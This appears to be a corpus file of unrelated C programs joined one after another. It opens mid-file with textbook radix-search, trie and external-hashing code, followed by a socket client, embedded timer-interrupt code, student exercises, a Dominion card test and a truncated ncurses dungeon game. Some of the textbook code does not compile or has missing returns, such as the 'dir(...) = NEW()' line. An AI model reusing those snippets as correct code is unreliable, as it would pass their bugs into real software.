(key(t[i]) != key(NULLitem)) STinsert(t[i]); free(t); } ---------- CHAPTER 15. Radix Search ----- Item searchR(link h, Key v, int w) { Key t = key(h->item); if (h == z) return NULLitem; if eq(v, t) return h->item; if (digit(v, w) == 0) return searchR(h->l, v, w+1); else return searchR(h->r, v, w+1); } Item STsearch(Key v) { return searchR(head, v, 0); } ----- #define leaf(A) ((h->l == z) && (h->r == z)) Item searchR(link h, Key v, int w) { Key t = key(h->item); if (h == z) return NULLitem; if (leaf(h)) return eq(v, t) ? h->item : NULLitem; if (digit(v, w) == 0) return searchR(h->l, v, w+1); else return searchR(h->r, v, w+1); } Item STsearch(Key v) { return searchR(head, v, 0); } ----- void STinit() { head = (z = NEW(NULLitem, 0, 0, 0)); } link split(link p, link q, int w) { link t = NEW(NULLitem, z, z, 2); switch(digit(p->item, w)*2 + digit(q->item, w)) { case 0: t->l = split(p, q, w+1); break; case 1: t->l = p; t->r = q; break; case 2: t->r = p; t->l = q; break; case 3: t->r = split(p, q, w+1); break; } return t; } link insertR(link h, Item item, int w) { Key v = key(item), t = key(h->item); if (h == z) return NEW(item, z, z, 1); if (leaf(h)) { return split(NEW(item, z, z, 1), h, w); } if (digit(v, w) == 0) h->l = insertR(h->l, item, w+1); else h->r = insertR(h->r, item, w+1); return h; } void STinsert(Item item) { head = insertR(head, item, 0); } ----- Item searchR(link h, Key v, int w) { if (h->bit <= w) return h->item; if (digit(v, h->bit) == 0) return searchR(h->l, v, h->bit); else return searchR(h->r, v, h->bit); } Item STsearch(Key v) { Item t = searchR(head->l, v, -1); return eq(v, key(t)) ? t : NULLitem; } ----- void STinit() { head = NEW(NULLitem, 0, 0, -1); head->l = head; head->r = head; } link insertR(link h, Item item, int w, link p) { link x; Key v = key(item); if ((h->bit >= w) || (h->bit <= p->bit)) { x = NEW(item, 0, 0, w); x->l = digit(v, x->bit) ? h : x; x->r = digit(v, x->bit) ? x : h; return x; } if (digit(v, h->bit) == 0) h->l = insertR(h->l, item, w, h); else h->r = insertR(h->r, item, w, h); return h; } void STinsert(Item item) { int i; Key v = key(item); Key t = key(searchR(head->l, v, -1)); if (v == t) return; for (i = 0; digit(v, i) == digit(t, i); i++) ; head->l = insertR(head->l, item, i, head); } ----- void sortR(link h, void (*visit)(Item), int w) { if (h->bit <= w) { visit(h->item); return; } sortR(h->l, visit, h->bit); sortR(h->r, visit, h->bit); } void STsort(void (*visit)(Item)) { sortR(head->l, visit, -1); } ----- typedef struct STnode *link; struct STnode { link next[R]; }; static link head; void STinit() { head = NULL; } link NEW() { int i; link x = malloc(sizeof *x); for (i = 0; i < R; i++) x->next[i] = NULL; return x; } Item searchR(link h, Key v, int w) { int i = digit(v, w); if (h == NULL) return NULLitem; if (i == NULLdigit) return v; return searchR(h->next[i], v, w+1); } Item STsearch(Key v) { return searchR(head, v, 0); } link insertR(link h, Item item, int w) { Key v = key(item); int i = digit(v, w); if (h == NULL) h = NEW(); if (i == NULLdigit) return h; h->next[i] = insertR(h->next[i], v, w+1); return h; } void STinsert(Item item) { head = insertR(head, item, 0); N++; } ----- typedef struct STnode* link; struct STnode { Item item; int d; link l, m, r; }; static link head; void STinit() { head = NULL; } link NEW(int d) { link x = malloc(sizeof *x); x->d = d; x->l = NULL; x->m = NULL; x->r = NULL; return x; } Item searchR(link h, Key v, int w) { int i = digit(v, w); if (h == NULL) return NULLitem; if (i == NULLdigit) return v; if (i < h->d) return searchR(h->l, v, w); if (i == h->d) return searchR(h->m, v, w+1); if (i > h->d) return searchR(h->r, v, w); } Item STsearch( Key v) { return searchR(head, v, 0); } link insertR(link h, Item item, int w) { Key v = key(item); int i = digit(v, w); if (h == NULL) h = NEW(i); if (i == NULLdigit) return h; if (i < h->d) h->l = insertR(h->l, v, w); if (i == h->d) h->m = insertR(h->m, v, w+1); if (i > h->d) h->r = insertR(h->r, v, w); return h; } void STinsert(Key key) { head = insertR(head, key, 0); } ----- char word[maxW]; void matchR(link h, char *v, int i) { if (h == z) return; if ((*v == '\0') && (h->d == '\0')) { word[i] = h->d; printf("%s ", word); } if ((*v == '*') || (*v == h->d)) { word[i] = h->d; matchR(h->m, v+1, i+1); } if ((*v == '*') || (*v < h->d)) matchR(h->l, v, i); if ((*v == '*') || (*v > h->d)) matchR(h->r, v, i); } void STmatch(char *v) { matchR(head, v, 0); } ----- #define internal(A) ((A->d) != NULLdigit) link NEWx(link h, int d) { link x = malloc(sizeof *x); x->item = NULLitem; x->d = d; x->l = NULL; x->m = h; x->r = NULL; return x; } link split(link p, link q, int w) { int pd = digit(p->item, w), qd = digit(q->item, w); link t = NEW(NULLitem, qd); if (pd < qd) { t->m = q; t->l = NEWx(p, pd); } if (pd == qd) { t->m = split(p, q, w+1); } if (pd > qd) { t->m = q; t->r = NEWx(p, pd); } return t; } link insertR(link h, Item item, int w) { Key v = key(item); int i = digit(v, w); if (h == NULL) return NEWx(NEW(item, NULLdigit), i); if (!internal(h)) return split(NEW(item, NULLdigit), h, w); if (i < h->d) h->l = insertR(h->l, v, w); if (i == h->d) h->m = insertR(h->m, v, w+1); if (i > h->d) h->r = insertR(h->r, v, w); return h; } void STinsert(Key key) { int i = digit(key, 0); heads[i] = insertR(heads[i], key, 1); } ----- Item searchR(link h, Key v, int w) { int i = digit(v, w); if (h == NULL) return NULLitem; if (internal(h)) { if (i < h->d) return searchR(h->l, v, w); if (i == h->d) return searchR(h->m, v, w+1); if (i > h->d) return searchR(h->r, v, w); } if eq(v, key(h->item)) return h->item; return NULLitem; } Item STsearch(Key v) { return searchR(heads[digit(v, 0)], v, 1); } ----- typedef struct STnode* link; struct STnode { Item item; link l, m, r; }; static link head; #define z NULL void STinit() { head = z; } link NEW(char *v) { link x = malloc(sizeof *x); x->item = v; x->l = z; x->m = z; x->r = z; return x; } Item searchR(link h, char *v) { char *t; if (h == z) return NULLitem; if (*v == '\0') return h->item; if (*v < *(h->item)) searchR(h->l, v); if (*v > *(h->item)) searchR(h->r, v); if (*v == *(h->item)) t = searchR(h->m, v+1); return null(t) ? t : v; } Item STsearch(char *v) { char *t = searchR(head, v); if (eq(v, t)) return t; return NULLitem; } link insertR(link h, char *v) { if (h == z) h = NEW(v); if ((*v == *(h->item)) && (*v != '\0')) h->m = insertR(h->m, v+1); if (h == z) h = NEW(v); if (*v < *(h->item)) h->l = insertR(h->l, v); if (*v > *(h->item)) h->r = insertR(h->r, v); return h; } void STinsert(char *v) { head = insertR(head, v); } ---------- CHAPTER 16. External Searching ----- typedef struct STnode* link; typedef struct { Key key; union { link next; Item item; } ref; } entry; struct STnode { entry b[M]; int m; }; static link head; static int H, N; link NEW() { link x = malloc(sizeof *x); x->m = 0; return x; } void STinit(int maxN) { head = NEW(); H = 0; N = 0; } ----- Item searchR(link h, Key v, int H) { int j; if (H == 0) for (j = 0; j < h->m; j++) if (eq(v, h->b[j].key)) return h->b[j].ref.item; if (H != 0) for (j = 0; j < h->m; j++) if ((j+1 == h->m) || less(v, h->b[j+1].key)) return searchR(h->b[j].ref.next, v, H-1); return NULLitem; } Item STsearch(Key v) { return searchR(head, v, H); } ----- link insertR(link h, Item item, int H) { int i, j; Key v = key(item); entry x; link u; x.key = v; x.ref.item = item; if (H == 0) for (j = 0; j < h->m; j++) if (less(v, h->b[j].key)) break; if (H != 0) for (j = 0; j < h->m; j++) if ((j+1 == h->m) || less(v, h->b[j+1].key)) { u = insertR(h->b[j++].ref.next, v, H-1); if (u == NULL) return NULL; x.key = u->b[0].key; x.ref.next = u; break; } for (i = ++(h->m); (i > j) && (i != M); i--) h->b[i] = h->b[i-1]; h->b[j] = x; if (h->m < M) return NULL; else return split(h); } void STinsert(Item item) { link t, u = insertR(head, item, H); if (u == NULL) return; t = NEW(); t->m = 2; t->b[0].key = head->b[0].key; t->b[0].ref.next = head; t->b[1].key = u->b[0].key; t->b[1].ref.next = u; head = t; H++; } ----- link split(link h) { int j; link t = NEW(); for (j = 0; j < M/2; j++) t->b[j] = h->b[M/2+j]; h->m = M/2; t->m = M/2; return t; } ----- typedef struct STnode* link; struct STnode { Item b[M]; int m; int k; }; static link *dir; static int d, D, N; link NEW() { link x = malloc(sizeof *x); x->m = 0; x->k = 0; return x; } void STinit(int maxN) { d = 0; N = 0; D = 1; dir = malloc(D*(sizeof *dir)); dir[0] = NEW(); } ----- Item search(link h, Key v) { int j; for (j = 0; j < h->m; j++) if (eq(v, key(h->b[j]))) return h->b[j]; return NULLitem; } Item STsearch(Key v) { return search(dir[bits(v, 0, d)], v); } ----- link split(link h) { int j; link t = NEW(); while (h->m == M) { h->m = 0; t->m = 0; for (j = 0; j < M; j++) if (bits(h->b[j], h->k, 1) == 0) h->b[(h->m)++] = h->b[j]; else t->b[(t->m)++] = h->b[j]; t->k = ++(h->k); if (t->m == M) h = t; } insertDIR(t, t->k); } void insert(link h, Item item) { int i, j; Key v = key(item); for (j = 0; j < h->m; j++) if (less(v, key(h->b[j]))) break; for (i = (h->m)++; i > j; i--) h->b[i] = h->b[i-1]; h->b[j] = item; if (h->m == M) split(h); } void STinsert(Item item) { insert(dir[bits(key(item), 0, d)], item); } ----- void insertDIR(link t, int k) { int i, m, x = bits(t->b[0], 0, k); while (d < k) { link *old = dir; d += 1; D += D; dir = malloc(D*(sizeof *dir)); for (i = 0; i < D; i++) dir[i] = old[i/2]; if (d < k) dir(bits(x, 0, d) ^ 1) = NEW(); } for (m = 1; k < d; k++) m *= 2; for (i = 0; i < m; i++) dir[x*m+i] = t; }
C
#include<stdio.h> #include<sys/socket.h> #include<arpa/inet.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #define BUFSIZE 32 int main() { /*STEP 1: Create a TCP socket*/ int sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(sock<0) { printf("Error in opening the socket\n"); exit(0); } printf("Client socket created successfully\n"); /*Step 2: Create address structure for server*/ struct sockaddr_in serverAddr; memset(&serverAddr, 0, sizeof(struct sockaddr_in)); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(12345); serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); printf("Address assigned\n"); /*Step 3: Establish connection*/ int c = connect(sock, (struct sockaddr *) (&serverAddr), sizeof(serverAddr)); if(c<0) { printf("Error in connecting the socket to the server\n"); exit(0); } printf("Connection established successfully\n"); /*Step 4: Send/recv data*/ printf("Enter the message for server (max 32 chars): \t"); char msg[BUFSIZE]; scanf("%[^\n]%*c",msg); int bytesSent = send(sock, (void *)msg, strlen(msg), 0); if(bytesSent != strlen(msg)) { printf("Error in sending the message to the server\n"); exit(0); } printf("Data sent to the server successfully\n"); char recvBuffer[BUFSIZE]; int bytesRecvd = recv(sock, recvBuffer, BUFSIZE-1, 0); recvBuffer[bytesRecvd] = '\0'; printf("%s is the message from the server\n", recvBuffer); /*Step 5: Close the socket*/ int x = close(sock); if(x<0) { printf("Error in closing the socket\n"); exit(0); } printf("Socket closed successfully\n"); }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int u32 ; struct nvc0_grctx {int* buffer; size_t buffer_nr; int addr; TYPE_1__* data; } ; struct TYPE_2__ {int size; int align; int access; } ; /* Variables and functions */ void nvc0_grctx_data(struct nvc0_grctx *info, u32 size, u32 align, u32 access) { info->buffer[info->buffer_nr] = info->addr; info->buffer[info->buffer_nr] += (align - 1); info->buffer[info->buffer_nr] &= ~(align - 1); info->addr = info->buffer[info->buffer_nr++] + size; info->data->size = size; info->data->align = align; info->data->access = access; info->data++; }
C
/* Print all lines longer than 80 */ #include <stdio.h> #define BUFF_SIZE 100 /* Buffer size */ #define MIN_LEN 80 /* Length of line to me printed */ int my_getline2(char line[], int maxline); int main() { int len; /* current line length */ char line[BUFF_SIZE]; /* current input line */ while((len = my_getline2(line, BUFF_SIZE)) > 0) if ( len > MIN_LEN ) { printf("%s\n", line); } return 0; } /* getline : read a line into s, return length */ int my_getline2(char s[], int lim) { int c , i; for ( i=0; i< lim - 1 && ( c = getchar()) != EOF && c != '\n'; ++i) s[i] = c; if (i == (lim-1)) { s[i] = '\0'; while((c = getchar()) != '\n' && c != EOF) i++; } else { if( c == '\n') { s[i] = c; ++i; } s[i] = '\0'; } return i; } /* copy: copy 'from' into 'to'; assume to is bug enough */ void copy(char to[], char from[]) { int i; i = 0; while((to[i] = from[i]) != '\0') ++i; }
C
/************************************************************) (* S U P A E R O *) (* *) (* Application roue a reaction *) (* Os = linux+xenomai *) (* *) (* libUtilRoue.c *) (* *) (* Fonctions communes *) (* *) (************************************************************/ #include <stdio.h> #include <unistd.h> #include <sys/io.h> #include "libmm32.h" #include "libUtilRoue.h" /* declaration des variables globales */ TypeEtalon infosEtalonnage; /* fonctions d'acces aux ports I/O */ void sysOutByte(unsigned short adresseIO, unsigned char valeur) { outb( valeur, adresseIO); } unsigned char sysInByte(unsigned short adresseIO) { unsigned char val; val = inb(adresseIO); return val; } unsigned short sysInWord(unsigned short adresseIO) { unsigned short val; val = inw(adresseIO); return val; } /* fonctions de conversion */ /****************************************************/ void miseAJourInfosEtalonnage(float tableauReels[]) /****************************************************/ { infosEtalonnage.offsetVoltVitesseRoue = tableauReels[0]; infosEtalonnage.gainVitesseRoue = tableauReels[1]; infosEtalonnage.offsetVoltVitessePlateau = tableauReels[2]; infosEtalonnage.gainVitessePlateau = tableauReels[3]; infosEtalonnage.offsetVoltPositionPlateau = tableauReels[4]; infosEtalonnage.gainPositionPlateau = tableauReels[5]; infosEtalonnage.offsetVoltCourantMoteur = tableauReels[6]; infosEtalonnage.gainCourantMoteur = tableauReels[7]; infosEtalonnage.offsetCourantMoteur = tableauReels[8]; infosEtalonnage.gainCommandeMoteur = tableauReels[9]; // printf("%f, %f, %f, %f, %f,%f, %f, %f, %f, %f\n",tableauReels[0],tableauReels[1],tableauReels[2],tableauReels[3],tableauReels[4],tableauReels[5],tableauReels[6],tableauReels[7],tableauReels[8],tableauReels[9]); } /***************************************************************/ float codeCANToVolts(int codeCAN) /***************************************************************/ { return (codeCAN*(10.0/2048.0)); } /***************************************************************/ float voltToVitesseRoue (float voltVitesseRoue) /***************************************************************/ { float vitesseRoue; vitesseRoue = (voltVitesseRoue - infosEtalonnage.offsetVoltVitesseRoue) * infosEtalonnage.gainVitesseRoue; return(vitesseRoue); } /***************************************************************/ float voltToVitessePlateau (float voltVitessePlateau) /***************************************************************/ { float vitessePlateau; vitessePlateau = (voltVitessePlateau - infosEtalonnage.offsetVoltVitessePlateau) * infosEtalonnage.gainVitessePlateau; return(vitessePlateau); } /***************************************************************/ float voltToPositionPlateau (float voltPositionPlateau) /***************************************************************/ { float positionPlateau; positionPlateau = (voltPositionPlateau - infosEtalonnage.offsetVoltPositionPlateau) * infosEtalonnage.gainPositionPlateau; return(positionPlateau); } /***************************************************************/ float voltToCourantMoteur (float voltCourantMoteur) /***************************************************************/ { float courantMoteur; courantMoteur = (voltCourantMoteur - infosEtalonnage.offsetVoltCourantMoteur) * infosEtalonnage.gainCourantMoteur; return(courantMoteur); } /***************************************************************/ void acquisitionEchantillon(TypeEchantillon *echantillon) /***************************************************************/ { echantillon->vitesseMoteur = voltToVitesseRoue ( acquisitionVolt(VOIE_VITESSE_MOTEUR )); echantillon->vitessePlateau = voltToVitessePlateau ( acquisitionVolt(VOIE_VITESSE_PLATEAU )); echantillon->positionPlateau = voltToPositionPlateau ( acquisitionVolt(VOIE_POSITION_PLATEAU )); echantillon->courantMoteur = voltToCourantMoteur ( acquisitionVolt(VOIE_COURANT_MOTEUR )); /*printf("%f\n" ,echantillon->positionPlateau );*/ } /***************************************************************/ void initCarteDMM32() /***************************************************************/ { ioperm(BASE_MM32, 16,1); initAcquisitionAnalogique(SCAN_20_MICROS_MM32 , CAN_M10P10_MM32 ,GAIN_CAN_1_MM32); ecritureVoieAnalogique(0,2048); ecritureVoieAnalogique(1,2048); } /************************************************/ void applicationIConsigne(float courantConsigne) /* en A */ /************************************************/ { float voltConsigne; int codeConsigne; voltConsigne = (courantConsigne - infosEtalonnage.offsetCourantMoteur) * infosEtalonnage.gainCommandeMoteur; codeConsigne = ((voltConsigne * 2048.0)/10.0) +2048; if (codeConsigne > 4095) codeConsigne=4095; if (codeConsigne < 0) codeConsigne= 0; ecritureVoieAnalogique(0,codeConsigne); /* printf("Courant : %f voltConsigne : %f code %d\n",courantConsigne,voltConsigne,codeConsigne);*/ }
C
/*Generate an Interrupt from timer0 for every 5 sec, Toggle LED P1.24 in ISR part, Toggle LED P1.17 in the main program or as CPU Functionality*/ #include<lpc21xx.h> void timer_config(void); void intr_config(void); void timer_isr(void)__irq; void delay(unsigned int a); int main() { IODIR1=(0XFF<<17); // COnfig LED Por Pins a OP Port timer_config(); intr_config(); while(1) // Toggle P1.17 LED as a CPU functionality { IOSET1=(1<<17); delay(300); IOCLR1=(1<<17); delay(300); } } void timer_config(void) // TImer Configuration for 5 sec { T0PR=14; T0MR0=5000000; T0MCR=(1<<1)|(1<<0); T0TCR=(1<<1); T0TCR=(1<<0); } void intr_config(void) // Interrupt Configuration with slot 0 { VICIntSelect&=~(1<<4); // Select IRQ mode with timer0 as a source--->4 VICVectCntl0=(1<<5)|(4<<0); // use SLot 0 and control info.GIE, and SRC no VICVectAddr0=(long)timer_isr; // Load the ISR address to VIC Addre Reg VICIntEnable=(1<<4); // Enable Int } void timer_isr(void)__irq // Std way of defining ISR { IOSET1=(1<<24); // Toggle P1.24 LED delay(500); IOCLR1=(1<<24); delay(500); T0IR=(1<<0); // Clear the Int flag VICVectAddr=0; // std return address } void delay(unsigned int a) // 100*6000 { int i,j; for(i=0;i<a;i++) for(j=0;j<6000;j++); }
C
#include "holberton.h" /** * print_binary - print_binary * @n: pointers * Return: Value * Description: Fuction */ void print_binary(unsigned long int n) { if (n == 0 || n == 1) { _putchar(n + '0'); return; } print_binary(n >> 1); _putchar((n & 1) + '0'); }
C
/* tpdfaMix1.c: Data flow analysis for global/local/pointer and array variables (simple version) */ int printf(char*, ...); int func(int pa[10], int pn); int ga1[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; int main() { int a = 1, b = 2, c, d; int i = 0; int *ptrc, *ptry; int sum; int x[10]; int y[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; int z[10] = {10, 20, 30, 40, 50, 60, 70, 80, 90, 100}; int zz[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; ptrc = &c; ptry = y; x[i] = a; *ptrc = x[i] + 1; sum = c + func(z, 10); d = zz[2] + zz[3]; printf(" sum=%d ", sum); for (i = 0; i < 10; i++) { d = d + (zz[2] + zz[3]); d = d + z[i] + z[i]; d = d + zz[i] + zz[i]; sum = ga1[i] + ga1[i]; sum = sum + *ptry; printf(" *ptry=%d d=%d ", *ptry, d); ptry = ptry + 1; sum = sum + z[i] + z[i]; sum = sum + zz[i] + zz[i]; d = d + ga1[i] + ga1[i]; } d = d + ga1[2] + ga1[2]; printf("\n"); d = d + (zz[2] + zz[3]); d = d + ga1[2] + ga1[2]; printf("%d %d %d \n", sum, c, d); return 0; } int func(int pa[10], int pn) { int sum1, i; sum1 = ga1[0] + ga1[1]; for (i = 0; i < pn; i++) { sum1 = sum1 + pa[i]; } return sum1; }
C
#include "dominion.h" #include "dominion_helpers.h" #include "rngs.h" #include <stdio.h> #include <math.h> #include <stdlib.h> // adventurer card test void test(int j) { // set up test variables int drawntreasure = 0; int currentPlayer; int cardDrawn; int randomSeedNumber = 4; int numberOfPlayers = 2; int kingdomCards[MAX_HAND] = {adventurer, gardens, embargo, village, minion, mine, cutpurse, sea_hag, tribute, smithy}; int z = 0; // this is the counter for the temp hand int status; int i; int test; int player_deckcount[2]; int player_handcount[2]; int player_discard_count[2]; int test_player_deckcount[2]; int test_player_handcount[2]; int test_player_discard_count[2]; test_player_deckcount[0] = 0; test_player_handcount[0] = 9; test_player_discard_count[0] = 9; test_player_deckcount[1] = 0; test_player_handcount[1] = 7; test_player_discard_count[1] = 3; printf("Testing adventurer card: playAdventurerCard()\n"); // initialize test game state struct gameState state; status = initializeGame(numberOfPlayers, kingdomCards, randomSeedNumber, &state); printf("initial values\n"); //printf("player 0 deck count: %d\n", state.deckCount[0]); //printf("player 0 hand count: %d\n", state.handCount[0]); //printf("player 0 discard count: %d\n", state.discardCount[0]); //printf("player 1 deck count: %d\n", state.deckCount[1]); //printf("player 1 hand count: %d\n", state.handCount[1]); //printf("player 1 discard count: %d\n", state.discardCount[1]); printf("number of adventurer cards to start: %d\n", state.supplyCount[adventurer]); // test when drawntreasure = 0 printf("test drawntreasure = 0 \n"); currentPlayer = 1; // now loop thru all 10 adventurer cards in the deck for (i=0;i<10;i++) { if (currentPlayer == 1) { currentPlayer = 0; } else { currentPlayer = 1; } // test for copper, silver, and gold cases if (j==0) { state.hand[currentPlayer][state.handCount[currentPlayer]-1] = copper; } else if (j==1) { state.hand[currentPlayer][state.handCount[currentPlayer]-1] = silver; } else if (j==2) { state.hand[currentPlayer][state.handCount[currentPlayer]-1] = gold; } drawntreasure = 0; playAdventurerCard(drawntreasure, &state, currentPlayer, cardDrawn, kingdomCards, z); //printf("Player %d deck count: %d\n", currentPlayer, state.deckCount[currentPlayer]); //printf("Player %d hand count: %d\n", currentPlayer, state.handCount[currentPlayer]); //printf("Player %d discard count: %d\n", currentPlayer, state.discardCount[currentPlayer]); player_deckcount[currentPlayer] = state.deckCount[currentPlayer]; player_handcount[currentPlayer] = state.handCount[currentPlayer]; player_discard_count[currentPlayer] = state.discardCount[currentPlayer]; // set these variables to ensure buying of the adventurer card state.numBuys = 100; state.coins = 1000; test = buyCard(adventurer, &state); printf("number of adventurer cards left: %d\n", state.supplyCount[adventurer]); } if ((player_deckcount[0] == test_player_deckcount[0]) && (player_handcount[0] == test_player_handcount[0]) && (player_discard_count[0] == test_player_discard_count[0]) && (player_deckcount[1] == test_player_deckcount[1]) && (player_handcount[1] == test_player_handcount[1]) && (player_discard_count[1] == test_player_discard_count[1])) { if (j==0) { // copper printf("adventurer copper case: PASSED \n"); } else if (j==1) { // silver printf("adventurer silver case: PASSED \n"); } else if (j==2) { // gold printf("adventurer gold case: PASSED \n"); } } else { if (j==0) { // copper printf("adventurer copper case: FAILED \n"); } else if (j==1) { // silver printf("adventurer silver case: FAILED \n"); } else if (j==2) { // gold printf("adventurer gold case: FAILED \n"); } } } int main(int argc, char *argv[]) { int j; for (j=0;j<3;j++) { test(j); } return 0; }
C
#include "internal.h" void neuralnet_setInputs(neuralnet_t* N, const float* inputs) { layer_t* L=&N->layers[0]; for(uint32_t i=0; i<L->neuronCount; i++) { L->neurons[i].value=inputs[i]; } } void neuralnet_getOutputs(neuralnet_t* N, float* outputs) { layer_t* L=&N->layers[N->layerCount-1]; for(uint32_t i=0; i<L->neuronCount; i++) { outputs[i]=L->neurons[i].value; } } float neuralnet_getSynapse(const neuralnet_t* N, const uint32_t layer, const uint32_t neuron, const uint32_t synapse) { return N->layers[layer].neurons[neuron].synapses[synapse]; } void neuralnet_setSynapse(neuralnet_t* N, const uint32_t layer, const uint32_t neuron, const uint32_t synapse, const float value) { N->layers[layer].neurons[neuron].synapses[synapse]=value; } void neuralnet_getNeuronSynapses(const neuralnet_t* N, const uint32_t layer, const uint32_t neuron, float* values) { neuron_t* M=&N->layers[layer].neurons[neuron]; float* synapses=M->synapses; for(uint32_t i=0; i<M->synapseCount; i++) values[i]=synapses[i]; } void neuralnet_setNeuronSynapses(neuralnet_t* N, const uint32_t layer, const uint32_t neuron, const float* values) { neuron_t* M=&N->layers[layer].neurons[neuron]; float* synapses=M->synapses; for(uint32_t i=0; i<M->synapseCount; i++) synapses[i]=values[i]; } void neuralnet_getLayerSynapses(const neuralnet_t* N, const uint32_t layer, float** values) { layer_t* L=&N->layers[layer]; for(uint32_t i=0; i<L->neuronCount; i++) { neuron_t* M=&L->neurons[i]; float* synapses=M->synapses; float* v=values[i]; for(uint32_t j=0; j<M->synapseCount; j++) v[j]=synapses[j]; } } void neuralnet_setLayerSynapses(neuralnet_t* N, const uint32_t layer, const float** values) { layer_t* L=&N->layers[layer]; for(uint32_t i=0; i<L->neuronCount; i++) { neuron_t* M=&L->neurons[i]; float* synapses=M->synapses; const float* v=values[i]; for(uint32_t j=0; j<M->synapseCount; j++) synapses[j]=v[j]; } }
C
#include <stdio.h> void swap(int *a, int *b) { int c = *a; *a = *b; *b = c; } int check(int a, int b) { if(a < b) swap(&a, &b); int c; int d; int flag = 1; for(c = a % b; c>0; c = a % b) { if ((a/b) > 1 && flag == 1) return 1; if ((a/b) > 1 && flag == 0) return 0; a = b; b = c; flag = 1-flag; } if ((a/b) > 1 && flag == 1) return 1; if ((a/b) > 1 && flag == 0) return 0; return 0; } int main(void) { freopen("input", "rt", stdin); freopen("output", "wt", stdout); int testcase, caseid; scanf("%d", &testcase); int a1,a2,b1,b2,a,b; int count; for (caseid=1; caseid<=testcase; caseid++) { printf("Case #%d:", caseid); scanf("%d %d %d %d",&a1,&a2,&b1,&b2); count=0; for(a=a1;a<=a2;a++) for(b=b1;b<=b2;b++) count+=check(a,b); printf(" %d\n",count); } return 0; }
C
#include <ncurses.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <limits.h> #include "main.h" #include "gen_dun.h" #include "distances.h" #include "priority_queue.h" void print_dungeon(WINDOW *win); void print_message(WINDOW *win, int status); void move_PC(int whichDir, monster_t *arr, int arr_size); int check_for_monster(int x_pos, int y_pos, monster_t *arr, int arr_size); int check_won_status(monster_t *arr, int arr_size); int checkForPC(monster_t m); int move_monster(queue_t *q, int turn); char lastPosition = '.'; int main(int argc, char* argv[]) { int num_monsters = 0; int list_monster_state = 0; int arg_count = 1; int monster_index = 0; int win_status = 0; int PC_dead_status = 0; int turn = 0; //Check the argumens //and handle user inputs if(argc < 3) { printf("Insufficient arguements\n"); return -1; } while(arg_count < argc) { if(strcmp(argv[arg_count], "--nummon") == 0) { arg_count++; num_monsters = atoi(argv[arg_count]); if(num_monsters <= 0) { printf("Incorrect argument passed\n"); return -1; } //printf("Setting dungeon up for %d monsters\n", num_monsters); arg_count++; } else { printf("incorrect argument detected: %s\n", argv[arg_count]); return -1; } } gen_dun(); monster_t monsters[num_monsters]; createMonsters(monsters, num_monsters); placeMonsters(monsters, num_monsters); queue_t *pq = (queue_t *)malloc(sizeof(queue_t)); queue_init(pq); for(int i = 0; i < num_monsters; i++) { queue_add(pq,monsters[i], (EVENT_CONSTANT/monsters[i].speed)); } WINDOW *win; WINDOW *message_win; initscr(); noecho(); curs_set(FALSE); keypad(stdscr, TRUE); win = newwin(END_Y, END_X, 1, 0); message_win = newwin(1, END_X, 0, 0); while(1) { win_status = check_won_status(monsters, num_monsters); if(win_status) { break; } wclear(win); //wclear(message_win); print_dungeon(win); wrefresh(win); //wrefresh(message_win); int ch = getch(); if((ch == 'Q' || ch == 'q')) { win_status = -1; break; } else if((ch == 'y' || ch == '7') && (!list_monster_state)) { //Move the character to the upper left move_PC(7, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == 'k' || ch == '8') && (!list_monster_state)) { //Move the character to the up move_PC(8, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == 'u' || ch == '9') && (!list_monster_state)) { //Move the character to the upper right move_PC(9, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == 'l' || ch == '6') && (!list_monster_state)) { //Move the character to the right move_PC(6, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == 'n' || ch == '3') && (!list_monster_state)) { //Move the character lower right move_PC(3, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == 'j' || ch == '2') && (!list_monster_state)) { //Move the character down move_PC(2, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == 'b' || ch == '1') && (!list_monster_state)) { //Move the character to the lower left move_PC(1, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == 'h' || ch == '4') && (!list_monster_state)) { //Move the character to the left move_PC(4, monsters, num_monsters); PC_dead_status = move_monster(pq, turn); } else if((ch == ' ' || ch == '5') && (!list_monster_state)) { //Don't move the character but move the monsters PC_dead_status = move_monster(pq, turn); } else if(ch == '<' && (!list_monster_state)) { if(lastPosition == '<') { wclear(win); wclear(message_win); gen_dun(); queue_empty(pq); createMonsters(monsters, num_monsters); placeMonsters(monsters, num_monsters); for(int i = 0; i < num_monsters; i++) { queue_add(pq,monsters[i], (EVENT_CONSTANT/monsters[i].speed)); } lastPosition = '.'; print_dungeon(win); } } else if(ch == '>' && (!list_monster_state)) { if(lastPosition == '>') { wclear(message_win); wclear(win); gen_dun(); createMonsters(monsters, num_monsters); placeMonsters(monsters, num_monsters); for(int i = 0; i < num_monsters; i++) { queue_add(pq,monsters[i], (EVENT_CONSTANT/monsters[i].speed)); } lastPosition = '.'; print_dungeon(win); } } else if(ch == 'm') { list_monster_state = 1; monster_index = 0; wclear(message_win); int monsterx_pos = monsters[monster_index].x_pos; int monstery_pos = monsters[monster_index].y_pos; int difference_in_x = monsters[monster_index].x_pos - pc_x_position; int difference_in_y = monsters[monster_index].y_pos - pc_y_position; if(difference_in_x > 0 && difference_in_y > 0) { wprintw(message_win, "monster %c, is %d south and %d right", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if(difference_in_x < 0 && difference_in_y > 0) { wprintw(message_win, "monster %c, is %d north and %d right", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if(difference_in_x > 0 && 